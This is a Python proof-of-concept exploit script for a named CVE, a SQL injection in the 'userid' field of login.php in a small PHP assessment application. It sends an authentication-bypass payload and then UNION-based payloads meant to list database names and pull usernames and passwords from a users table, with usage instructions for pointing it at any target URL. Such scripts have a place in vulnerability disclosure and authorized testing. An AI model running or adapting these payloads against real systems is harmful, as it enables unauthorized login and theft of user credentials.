import requests
import sys
# CVE-2025-15196 SQL Injection PoC
# Target: code-projects Assessment Management 1.0
# Endpoint: login.php
# Parameter: userid
def exploit_sqli(target_url, payload):
"""
Exploit SQL injection in login.php userid parameter
"""
# Target login endpoint
login_url = f"{target_url}/login.php"
# Malicious payload for SQL injection
data = {
'userid': payload,
'password': 'anything',
'submit': 'Login'
}
try:
response = requests.post(login_url, data=data, timeout=10)
return response
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2025-15196.py <target_url>")
print("Example: python cve-2025-15196.py http://localhost/assessment")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print("[*] CVE-2025-15196 SQL Injection Exploit")
print(f"[*] Target: {target}")
# Test basic SQL injection - bypass authentication
print("\n[*] Testing authentication bypass...")
payload = "' OR '1'='1"
response = exploit_sqli(target, payload)
if response and 'login' not in response.url.lower():
print("[+] Authentication bypass successful!")
else:
print("[-] Basic bypass failed, trying UNION-based injection...")
# UNION-based extraction payload
union_payload = "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL---"
print(f"\n[*] Testing UNION-based injection...")
response = exploit_sqli(target, union_payload)
# Database enumeration payload
enum_payload = "' UNION SELECT schema_name,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata---"
print(f"\n[*] Extracting database names...")
response = exploit_sqli(target, enum_payload)
# User table extraction payload
user_payload = "' UNION SELECT username,password,NULL,NULL,NULL,NULL,NULL FROM users---"
print(f"\n[*] Extracting user credentials...")
response = exploit_sqli(target, user_payload)
print("\n[!] Manual verification required for data extraction")
if __name__ == "__main__":
main()